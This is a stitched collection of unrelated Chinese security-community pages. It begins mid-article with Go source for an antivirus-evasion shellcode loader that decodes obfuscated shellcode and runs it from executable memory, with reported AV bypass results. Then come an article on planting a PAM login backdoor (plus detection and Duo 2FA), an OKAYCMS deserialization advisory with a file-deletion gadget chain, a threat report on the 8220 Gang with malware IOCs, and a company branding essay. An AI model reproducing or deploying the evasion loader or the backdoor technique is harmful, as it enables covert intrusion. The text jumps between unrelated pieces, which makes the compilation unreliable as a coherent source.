shellcode_byte, _ := base64.StdEncoding.DecodeString(xor_shellcode[2:]) // 除混淆字符外base64解码
payload := string(shellcode_byte) // []byte切片转string
payloadb := strings.Split(payload, "\\x")[1:] // 以\x将字符串分割成切片
for i := 0; i < len(payloadb); i++ { // 遍历转16进制
tmp_byte, err1 := strconv.ParseInt(payloadb[i], 16, 32) // 取切片中的字符转16进制
if err1 != nil {
fmt.Println(err1.Error())
}
payload_byte = append(payload_byte, uint8(tmp_byte)) // 加到payload_byte切片中
}
var shellcode []byte
for i := 0; i < len(payload_byte); i++ {
if payload_byte[i] == 255 {
shellcode = append(shellcode, payload_byte[i])
} else {
shellcode = append(shellcode, payload_byte[i]-1) // 递归shellcode-1还原
}
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println("error------------------------------")
fmt.Println(err.Error())
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) // 将shellcode内存复制到申请出来的内存空间中
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println(err.Error())
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() { // 生成的shellcode值+1并base64编码再在前面加2位混淆字符
condition()
}
// uintptr一个足够大的无符号整型， 用来表示任意地址。
// MEM_COMMIT标志将在页面大小边界上提交页面,而使用MEM_RESERVE或MEM_RESERVE | MEM_COMMIT将在大于页面大小的边界上保留或保留提交页面。
## 免杀效果
### 火绒免杀
### 360免杀
### Defender免杀
**注：第一次上线未杀，第二次上线动态被杀**
### VirusTotal
# 5 加减一+字符混淆+base64+条件执行+匿名函数 之 稳定全过
## 免杀加载器代码
package main
import (
"encoding/base64"
"fmt"
"os"
"strconv"
"strings"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码，应用程序可以读写该区域。
KEY_1 = 55
KEY_2 = 66
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll") // kernel32.dll它控制着系统的内存管理、数据的输入输出操作和中断处理
ntdll = syscall.MustLoadDLL("ntdll.dll") // ntdll.dll描述了windows本地NTAPI的接口
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") // VirtualAlloc申请内存空间
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") // RtlCopyMemory非重叠内存区域的复制
)
func condition() {
var a string
for i := 1; i < len(os.Args); i++ {
a += os.Args[i]
}
b := "qaxnb"
if a == b {
build()
}
}
func build() {
xor_shellcode := " py脚本处理后的shellcode "
var payload_byte []byte
shellcode_byte, _ := base64.StdEncoding.DecodeString(xor_shellcode[2:]) // 除混淆字符外base64解码
payload := string(shellcode_byte) // []byte切片转string
payloadb := strings.Split(payload, "\\x")[1:] // 以\x将字符串分割成切片
for i := 0; i < len(payloadb); i++ { // 遍历转16进制
tmp_byte, err1 := strconv.ParseInt(payloadb[i], 16, 32) // 取切片中的字符转16进制
if err1 != nil {
fmt.Println(err1.Error())
}
payload_byte = append(payload_byte, uint8(tmp_byte)) // 加到payload_byte切片中
}
var shellcode []byte
for i := 0; i < len(payload_byte); i++ {
if payload_byte[i] == 255 {
shellcode = append(shellcode, payload_byte[i])
} else {
shellcode = append(shellcode, payload_byte[i]-1) // 递归shellcode-1还原
}
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println("error------------------------------")
fmt.Println(err.Error())
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) // 将shellcode内存复制到申请出来的内存空间中
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println(err.Error())
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() { // 生成的shellcode值+1并base64编码再在前面加2位混淆字符
func(data string) {
condition()
}("world!")
}
// uintptr一个足够大的无符号整型， 用来表示任意地址。
// MEM_COMMIT标志将在页面大小边界上提交页面,而使用MEM_RESERVE或MEM_RESERVE | MEM_COMMIT将在大于页面大小的边界上保留或保留提交页面。
## 免杀效果
### 火绒免杀
### 360免杀
### Defender稳定免杀 | 社区文章 |
# Linux运维安全之PAM安全策略实施
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 可插拔认证模块PAM-Pluggable Authentication
> Modules是一套共享库，用来对应用程序或服务的使用进行认证授权以及提供其他安全服务。起初它是由美国Sun公司为Solaris操作系统开发的，后来，很多操作系统都实现了对它的支持，Red
> hat 5.0后的发行版在默认基础安装包中都包括了PAM。
>
> PAM的优点是它的实用性和灵活性，对于Linux服务器上的应用程序或服务，可以根据需求实施各种安全策略，甚至可以自己编写认证模块进行调用。
>
> 本期安仔课堂，ISEC实验室的张老师为大家详解PAM。
## 一、PAM的认证机制
图1
当User访问一个Service或者Program，应用程序需要进行认证服务，会根据自身定义认证的PAM配置文件来调用PAM相关模块进行验证，最后将验证结果返回给应用程序，应用程序再产生相应的动作。
## 二、PAM的配置
PAM主要的文件为 /usr/lib/security或
/usr/lib64/security目录下的pam_*.so模块文件，以及/etc/pam.d目录下的特定应用程序的PAM配置文件。
图2
图3
以passwd为例，我们看一下当执行passwd时，PAM进行了哪些处理。查看passwd的PAM配置文件：
图4
PAM的配置文件以如下空白分隔的字段组成：
module_type control_flag module_path module_options
module_type:为服务指定模块类型。有效模块类型是 auth、account、session 或
password，给定的模块将提供对一个或多个模块类型的支持。
control_flag:为模块指定堆栈行为。受支持的控制标志是 required、requisite、sufficient 或 optional。
module_path:指定为服务装入的模块。
module_option:指定能够发送到服务模块的空格划定的选项列表。该字段的值取决于在 module_path
字段中定义的模块支持的选项，此字段是可选的。
passwd的PAM配置应用了system-auth配置：
图5
pam_env模块将根据管理员在/etc/security/pam_env.conf中设置的内容设置环境变量，pam_faildelay模块设置了失败delay时间为2s。
pam_fprintd模块是进行指纹验证，由于控制标志为sufficient，验证失败并不影响继续验证。Pam_unix
nullok参数允许空密码，try_first_pass使用先前模块的密码进习惯验证。
pam_succeed_if设置了当uid大于1000时，不记录登录信息到系统日志中。当前面模块没有验证成功，最后的pam_deny模块将直接拒绝
OTHER的默认动作。关于PAM模块的详细信息可以通过man 模块名进行查询：
图6
## 三、PAM后门
通过在pam_unix下的pam_unix_auth.c源码中添加判断条件，使得_unix_verify_password返回值为PAM_SUCCESS。这样就可以在用系统存在的任意用户名与设置的后门密码进行登录。
首先查看服务器PAM的版本信息：
图7
安装之前需要先安装flex flex-deve，否则在64位系统上编译PAM的时候会遇到yywrap()函数未定义错误。
图8
下载指定版本的PAM进行修改然后编译成so文件，再复制到系统pam模块目录下替换原文件，这样就造好后门了。
关于PAM后门的排查：
如果添加的是自定义的PAM模块，那么只要查询模块所属的包就可以发现PAM后门：
图9
对于通过修改原PAM模块，可以通过计算MD5值与原来进行diff
图10
图11
## 四、PAM实现双因子认证
买了台ECS/VPS，设置密码太复杂了不方便记住也不方便输入，用证书登录得y用证书也不方便。何不设置个弱口令外加个动态验证码？
双因子可以使用Google动态令牌，也可以使用Duo Unix，Duo Unix支持App动态口令、短信口令以及电话。
首先需要到DUO官网注册账号，新建一个UNIX Application保护应用，获得Integration key、Secret key、API
hostname。
图12
然后安装pam_duo
图13
安装后修改配置文件/etc/duo/pam_duo.conf
图14
然后在配置文件中添加该模块，SSH需要在配置文件开启USE PAM以及USE DNS
图15
接着登录服务器，这时会出现一个url让你进行注册
图16
访问url绑定注册完成后再次登录时就可以选择动态验证码了
图17
## 五、PAM_DUO源码浅析
DUO_UNIX项目地址：<https://github.com/duosecurity/duo_unix>
PAM_DUO认证中主要就是pam_sm_authenticate函数的处理,处理时首先会读取DUO的配置文件，之后检测是否配置了其他config文件，有则更新conf的值。此外，也将检测是否配置了debug参数。
图19
图20
然后调用duo_parse_config检查配置文件的读写权限，当返回值为-2时抛出错误“config文件应仅root可读”，当返回值为-1时抛出文件不可打开错误：
图21
图22
然后检查是否开启fips_mode：
图23
调用pam_get_user获取认证用户信息，检查用户密码信息：
图24
对于SSH服务，关闭增量状态信息提示：
图25
调用duo_check_groups检查认证用户是否是否在DUO认证的配置组中：
图26
检查获取用户/etc/passwd的GECOS信息并进行转换：
图27
调用duo_local_ip解析本机ip地址：
图28
这边开始进行DUO认证过程。使用pam_duo.conf配置的ikey、skey、apihost调用DUO
API接口，检测API接口连接，当处理错误返回DUO服务错误：
图29
接着调用duo_login进行登录，在duo_login函数中会POST一个BOSN格式的认证信息到服务器，当返回错误为NULL则认证成功。
图30 | 社区文章 |
## 漏洞概述
OKAYCMS是一款来自俄罗斯的功能强大的在线商店管理系统。OKAYCMS易于定制的多种语言自适应模板可用于销售任何商品：从服装、建筑材料、手机到音乐曲目，视频课程，有声读物和海报等。
在OKAYCMS v2.3.4中存在着一处反序列化漏洞。未经身份验证的攻击者可以通过此处漏洞进行进一步的攻击利用。
## 漏洞细节
漏洞位置存在于view/ProductsView.php与api/Comparison.php代码中，可以通过Cookie传入序列化代码进行利用
首先来看下第一处，即位于view/ProductsView.php 516行处代码
可见位于上图代码中存在一处unserialize方法，此处unserialize位于ProductsView.php中fetch方法中，此处代码将cookie中传入的price_filter参数未经过滤，直接反序列化，从而产生了漏洞
更加严重的是：由于ProductsView.php并未对fetch方法进行身份校验，未经身份验证的用户可以将恶意的cookie传递到此处执行
我们构造如下get请求，将恶意字符串”test”通过cookie中price_filter参数传递给反序列化漏洞点
后台断点处，可见unserialize函数成功接收到我们在cookie中传递的字符串”test”
再来看下api/Comparison.php文件
api/Comparison.php文件中多次利用unserialize函数将cookie中传入的comparison参数进行反序列化操作，具体如下：
用于选择比较产品清单的get_comparison接口处
用于将产品添加到比较列表的add_item接口处
用于从比较列表中删除项目的delete_item接口处
以上这些存在反序列化漏洞的接口，同样也是不需要身份验证就可以访问
在ajax/comparison.php中，get_comparison、add_item与delete_item是可以直接被调用而不需要身份验证的，代码如下：
上图代码可见，只要通过get请求中的action参数即可控制所要使用的接口，但是程序并未进行身份校验
我们以get_comparison接口举例
我们构造如下get请求，将恶意字符串”test”通过cookie中comparison参数传递给反序列化漏洞点
可见我们将构造的cookie中的comparison参数值“test”成功传递给了unserialize函数
此时，反序列化利用点已经找到了，但是仍需要利用链才能进行利用
### 任意文件删除利用链
经过分析可以发现，OKAYCMS是一款使用Smarty模板引擎进行开发的cms。因此可以使用Smarty中的利用链进行利用
在Smarty模板引擎中存在smarty_internal_cacheresource_file.php文件，该文件定义了一个名为Smarty_Internal_CacheResource_File的类。在Smarty_Internal_CacheResource_File类中存在一处releaseLock方法，如下图
可见上图releaseLock方法中，存在一处unlink方法，利用该方法，可以进行文件删除操作
注意看下图这里两处红框
方法releaseLock接收两个参数，分别是Smarty $smarty与 Smarty_Template_Cached $cached
Smarty 与 Smarty_Template_Cached分别是Smarty模板引擎中两个类的名称
Smarty类
Smarty_Template_Cached类
这里类名+参数名的用法是什么呢？
在php中，这种用法叫做类型约束，详细的解释如下：
PHP5以及以上版本可以使用类型约束。函数的参数可以指定必须为对象（在函数原型里面指定类的名字），接口，数组（PHP5.1 起）或者
callable（PHP 5.4 起）。不过如果使用 NULL作为参数的默认值，那么在调用函数的时候依然可以使用 NULL 作为实参。
如果一个类或接口指定了类型约束，则其所有的子类或实现也都如此。类型约束不能用于标量类型如 int 或 string，Traits 也不允许。
下面举个例子说明一下类型约束用法：
有名为MyClass与OtherClass的两个类，MyClass类中的test方法接收OtherClass类的一个对象作为参数，并打印出该对象的var属性值
当传入$myclass->test值为字符串hello时
报出上图错误：传递给MyClass :: test（）的参数1必须是OtherClass的实例
当传入$myclass->test值为$otherclass即OtherClass类的实例时
程序打印出Hello World
在弄清楚php类型约束概念之后，回到正文：
可见如果我们想构造反序列化利用链，使用这个releaseLock方法进行任意文件删除，那传入releaseLock方法中的两个参数必须为Smarty类与Smarty_Template_Cached类的实例
在了解到releaseLock方法如何使用后，我们继续查找releaseLock方法是否在某个类的魔术方法中被调用，以便在反序列化操作时被调用
经过搜索发现，在smarty_internal_template.php文件中定义了Smarty_Internal_Template类，该类的destruct方法见下图
在Smarty_Internal_Template类destruct方法中，调用了releaseLock方法
在Smarty_Internal_Template类destruct方法中，可见只要满足了if分支，就可以执行releaseLock方法
destruct方法中的releaseLock方法接收的两个参数$this->smarty与$this->cached，根据上文分析，$this->smarty与$this->cached需要为Smarty类与Smarty_Template_Cached类的实例，因此我们需要进行如下构造：
为了顺利进入if分支，还需要使得
$this->smarty->cache_locking / isset($this->cached) /
$this->cached->is_locked三者为真
$this->cached已经设置为Smarty_Template_Cached类的实例，因此$this->cached已经为真
$this->smarty是Smarty类的实例，要使得$this->smarty->cache_locking为真可见下图设置
$this->cached是Smarty_Template_Cached类的实例，要使得$this->cached->is_locked为真可见下图设置
在成功进入if分支后，需要控制$this->cached->lock_id，这个变量用来进行文件删除
$this->cached是Smarty_Template_Cached类的实例，要设置$this->cached->lock_id的值可见下图设置
最后完整的利用链如下
当将构造好的序列化字符串通过cookie传入系统后，在反序列化时，将会将指定路径的文件进行删除，从而造成了任意文件删除漏洞 | 社区文章 |
**作者：Tom Hegel
译者：知道创宇404实验室翻译组
原文链接：<https://www.sentinelone.com/blog/8220-gang-cloud-botnet-targets-misconfigured-cloud-workloads/>**
2022 年 7 月，我们[报道了](https://www.sentinelone.com/blog/from-the-front-lines-8220-gang-massively-expands-cloud-botnet-to-30000-infected-hosts/) 8220
Gang，这是我们观察到的众多低技能犯罪软件团伙之一，通过已知漏洞和远程访问暴力强迫感染媒介感染云主机。我们注意到，8220
Gang已将其云服务僵尸网络扩展到全球约的30000台主机。
最近几周，该组织轮换了其攻击基础设施，继续将受感染的主机纳入其僵尸网络中，并分发加密货币挖掘恶意软件。
## 错误配置是感染尝试的关键
8220
Gang的攻击仍在继续，速度与我们之前报告的一致。大多数活动受害者仍在操作过时或配置错误的Docker、Apache、WebLogic版本以及各种[Log4J](https://www.sentinelone.com/lp/log4j-log4shell-cve-2021-44228-staying-secure/)易受攻击的服务版本。
[8220 Gang](https://www.sentinelone.com/blog/from-the-front-lines-8220-gang-massively-expands-cloud-botnet-to-30000-infected-hosts/)通过扫描公共互联网上配置错误或易受攻击的主机来识别目标。受害者通常使用云基础设施，如AWS，Azure等，以及配置错误的实例，允许远程攻击者获得访问权限。运行
Docker、Confluence、Apache WebLogic 和 Redis
的公共可访问主机很容易被发现和攻击，并且无需多少技术知识。众所周知，8220 Gang在感染后利用SSH暴力攻击在受损网络内进行横向移动。
最近作为矿工机器人进行通信的顶级受害者暴露了Ububquiti
Unifi云密钥，这些云密钥运行过时的网络控制器软件或Prometheus容器监控系统。被利用的漏洞通常不是最新的（例如
CVE-2019-2725），Oracle Weblogic 漏洞被用来下载安装程序脚本，例如
[871f38fd4299b4d94731745d8b33ae303dcb9eaa](https://www.virustotal.com/gui/file/9c0f3a39874e7ae487e9fff0dfb5c4b6429e0395df863195886ace6f95f76013)。感染尝试的目标仍然是扩大僵尸网络，并在可能的情况下扩大加密货币主机挖矿。
## 8220 Gang利用PureCrypter
我们已经观察到8220 Gang使用[PureCrypter恶意软件即服务](https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter)。PureCrypter是一种自2021年以来以低成本提供的加载器服务，并且被观察到分发了大量商品恶意软件。8220
Gang针对的Windows系统已由PureCrypter下载器通过该组的传统C2基础架构提供服务，最常见的是`89.34.27[.]167`。下载程序随后会根据注入器图像扩展URL返回。使用Discord
url也可以观察到非法未成年人的下载。
一个明显的例子是矿工`ee6787636ea66f0ecea9fa2a88f800da806c3ea6`在妥协后交付。这个加载程序指向Discord:
https://cdn.discordapp[.]com/attachments/994652587494232125/1004395450058678432/miner_Nyrpcmbw[.]png
并下载`833cbeb0e748860f41b4f0192502b817a09eff6a`，最终在受害者主机上开始加密挖掘。
毫不意外，8220
Gang正在尝试新的装载机和矿工，同时尝试对公开服务进行传统开采。随着威胁形势的发展，我们可以预期黑客会寻求新的方法来阻止防御，隐藏他们的活动，并且试图提高攻击成功率。这只是8220
Gang的一个新的迭代尝试。
## 改变基础设施
自7月以来，8220
Gang转向使用`89.34.27[.]167`，然后在2022年9月初将其基础设施轮换为`79.110.62[.]23`，主要依赖于之前报告的两个域`letmaker[.]top`和`oracleservice[.]top`。
8220
Gang还使用了一个名为`.79.175[.]139`的矿工代理。感染非法矿工的主机将与该代理进行通信，因为它充当一个池来组合资源并避免分析其累积的采矿指标。
8220 Gang基础设施角色的视觉环境
## 滥用业余工具的现象日益猖獗
正如我们过去所报道的那样，围绕8220 Gang活动的脚本，矿工和基础设施源于对已知工具的普遍重用。“Script
Kiddies”可能是一个更适合的行业名称。对工具和脆弱性的高层分析揭示了更广泛的非法活动。
例如，通过[GreyNoise数据，](https://viz.greynoise.io/)我们可以看到CVE-2019-2725爬虫在过去30天内的常见程度。8220
Gang和其他攻击者成功地利用了扫描和利用类似的n天漏洞。一种理论可能是，这种类型的攻击者会寻找像这样易于破坏的系统，因为它们不太可能很快得到补救，甚至不符合常见的更新实践。无论漏洞管理处于何种状态，这些攻击者都能成功运行。我们可以把这种攻击看作是目标攻击的底层。
CVE-2019-2725爬虫的灰色噪声趋势
加载程序脚本也非常常见，可以通过运行常见云服务的可公开访问的主机和蜜罐进行观察。即使在一年内，脚本也发生了很大变化，有许多变体，并且它不再作为单个名称（例如[Carbine
Loader](https://web.archive.org/web/20210421191517/https://www.lacework.com/carbine-loader-cryptojacking-campaign/)）进行跟踪。例如，在 VirusTotal 中搜索包含常见云安全工具的go-to-uninstall命令的任何 shell 脚本，以及唯一的变量名称，就会得到数百个最新结果。8220
Gang只是众多滥用相同脚本以保持僵尸网络存活的原因之一。
## 结论
8220
Gang继续他们的僵尸网络扩散工作，转向新的基础设施。该小组继续使用相同的采矿代理服务器，防御者应调查到该目的地的任何持续流量。此外，随着对PureCrypter
MaaS的实验，该组织显然试图改进其攻击手段。由于云基础设施和常见的公共可访问服务仍然易受到攻击，我们预计8220 Gang将在未来继续发展。
## IOC
**通信**
89.34.27.167（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=89.34.27.167
"ZoomEye搜索结果")）（从 2022 年 7 月到 9 月）
79.110.62.23（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=79.110.62.23
"ZoomEye搜索结果")）（主要自 2022 年 9 月起）
51.79.175.139（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=51.79.175.139
"ZoomEye搜索结果")）（矿工代理）
198.23.214.117（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=198.23.214.117
"ZoomEye搜索结果")） （矿工代理）
work.onlypirate[.]top
a.oracleservice[.]top
b.oracleservice[.]top
pwn.oracleservice[.]top
c4k-ircd.pwndns[.]pw
jira.letmaker[.]top
https://cdn.discordapp[.]com/attachments/994652587494232125/1004395450058678432/miner_Nyrpcmbw[.]png
**File Hashes SHA1**
165f188b915b270d17f0c8b5614e8b289d2a36e2
528477d0a2cf55f6e4899f99151a39883721b722
557d729f8a7ba712a48885304280b564194406d3
58af7af0dbf079bafd8fae1a7b3a2230b2bcba31
740a1cdee7b7f4350eec53c1ca3022562ea83903
7477812278038e8d3606c433f1c4389b897012e2
75ea4b0b76a0b61bd0f8f4a491e5db918bc1df1c
7b128cd6cf092409fc9c71ddd27c66dd98002b1a
871f38fd4299b4d94731745d8b33ae303dcb9eaa (CVE-2019-2725 示例)
9bc4db76ae77ea98fdcaa9000829840d33faba97
be53175a3b3e11c1e3ca7b87abb6851479453272
c1630af40f38f01e94eec2981c5f4f11481ba700
c22f9ae02601a52c9dca91c3b4cb3d2221f54b50
c537cf320e90a39e7f5e9846e118502802752780
c86349460658a994e517fede6773e650f8f3ac9b
d5138d1708d5d77ea86920a217c2033a2e94ad7e
ee6787636ea66f0ecea9fa2a88f800da806c3ea6
* * * | 社区文章 |
云起无垠——以云起势，无垠安全
云起无垠——以云起势，无垠安全
数字时代，万物变革，软件定义世界。每个行业都在用“软件”定义全新的生产范式，并通过软件供应链开启新一轮的技术革命。然而，近年来，软件供应链攻击事件频发，地缘政治冲突加剧，网络空间安全形势日益严峻，如何通过智能化的方法从根源上解决软件供应链问题已成为全球性议题。秉承着“让软件更安全，让安全更智能”的使命，云起无垠应运而生。
云起无垠是新一代AI赋能软件供应链安全实践者，致力于推动AI赋能信息系统安全智能化检测和缺陷自动化修复。团队汇聚了来自清华、北邮等知名高校以及华为、腾讯等头部IT企业的安全领域创新人才，拥有世界一流的自动化漏洞挖掘能力。技术团队成员多次在DEFCON CTF、HITCON CTF、GEEKPWN 等世界国际顶级网络安全竞赛中获奖，并在网络安全四大顶级学术会议和工业会议Blackhat USA 发表多篇论文及演讲。
品牌起源：源于诗境，驰骋云海
“云起”一词，取自唐代诗人王维的名篇《终南别业》：“行到水穷处，坐看云起时”，代表着一种深刻的处世哲学态度：面对绝境时的从容、面对自然的敬畏，还有那种不畏人世纷争，遇难坦然的超然境界。因此，“云起”不仅仅是一个品牌名，它更昭示着云起团队在创业之路上，无论遭遇何种挑战与困境，都已做好从容应对、勇往直前的准备。正如《荀子·修身》中所言：“路虽远，行则将至；事虽难，做则必成”。而“云”（Cloud）在现代语境中，是科技创新无尽可能性的象征；“起”寄托了起飞、崭露头角的憧憬。将这两字融为一体，它预告了“云起无垠”在新科技浪潮中的角色：始终站在创新的前列，勇攀高峰，寻求不断的突破和超越。
“无垠”一词，其源流长远，可以追溯至宋代诗人韦骧的佳句《黄河》：“四载收功故道循，滔滔千古势无垠”，蕴含着持续努力、传承文化、追求永恒影响力以及坚定人生信念的深刻寓意。因此，“无垠”不单是一个词汇，它更是云起团队对未来的无限憧憬和坚韧信念的写照，它展现了团队对技术创新的持续热忱，是追求长期主义的坚定立场，是对“让软件更安全，让安全更智能”的执着追求。进一步说，“无垠”意味着无限与无界，这正如云起深研的智能测试技术，突破传统工具的束缚与瓶颈，深入探索，不断挖掘软件中的0day漏洞。
在企业LOGO设计中，云起团队巧妙地融入了鲸鱼元素，这一设计灵感源于古代中国的传奇生物——“鲲”。这种传说中的生物代表了力量的巅峰和无尽的可能性，它寄托了云起团队对于未来向“商业巨鲸”进化的坚定信仰和渴望。
此外，莫比乌斯环作为另一关键设计元素，彰显了云起对软件供应链安全和智能测试的无限探索，恰如莫比乌斯环，永恒流转，始终进步。
著名书法家陈韩彬老先生也为云起无垠题写《咏云诗》
云腾万里任逍遥，
起步凌空入九霄。
无碍畅通以致远，
垠边不阻势犹高。
注：陈翰彬，字墨石。九三学社社员、北京道教居士，北京佛教居士。中国书法家协会会员、中华诗词学会会员、中国楹联学会会员、中国羲之基金会学术委员、国际书法学会学术委员、全国卫生书画协会副主席，北京艺海书画协会名誉会长,北京楹联学会书艺部名誉主任、北京道家书画艺术委员会副主任、中华对联文化研究院研究员、华夏诗联书画艺术研究院院士。
企业愿景：技术创新，引领未来
云起的愿景清晰而坚定：“致力于成为AI赋能的软件供应链安全技术引领者”。云起深知，信息技术的未来，既在于技术的安全性，也在于技术的智能化。在这样的信念驱动下，云起将持续探索前沿技术，推进AI赋能下的信息系统安全智能化检测与漏洞自动化修复技术，确保为云起的客户和合作伙伴提供前沿而有效的智能解决方案。
核心价值观：五大核心原则
云起坚守五大价值观原则：“客户第一、求实诚信、持续创新、砥砺奋进、协作共赢”。
- 客户第一：云起始终认为客户的需求是我们前进的方向，视客户成功为己任，为每一位客户创造更大的价值。
- 求实诚信：云起始终坚守真实与诚信的原则。无论是外部的合作还是内部的沟通，我们都以“求实诚信”为行事准绳，确保为每一位客户提供可靠的产品和服务。
- 持续创新：在日趋复杂的信息安全环境下，云起勇于创新追求卓越，以确保产品和服务在稳定性、先进性和前瞻性上都处于领先地位。
- 砥砺奋进：无论面对多大的挑战，云起都秉持着百折不挠的精神，积极寻求解决之道，不断挑战自我，走在行业的最前端。
- 协作共赢：云起坚信协作共赢是成功之本，云起珍视每一次合作，秉承着“共创、共享、共赢”的原则，与伙伴们携手走向更美好的未来。
人才理念：追求卓越，共创未来
“与优秀的人共创未来，成就无限价值” ——这是云起对于人才的坚定信念。云起特别重视那些敢于跳出自己的舒适区，乐于享受创业带来的挑战，视野广阔，胸怀鸿鹄之志的创业伙伴。于云起而言，对于安全自动化技术的热诚与不懈追求，是推动我们不懈前行的内在驱动力。
作为新一代AI赋能软件供应链安全的实践者，云起无垠深刻理解：在数字时代，安全是科技发展的生命线。云起不仅追求软件的安全性，更看重技术的创新和进步，以智能化的方式应对瞬息万变的安全挑战，致力于为国家关键基础设施筑牢网络安全屏障，为整个社会创造更安全、更智能的数字未来。 | 自建 |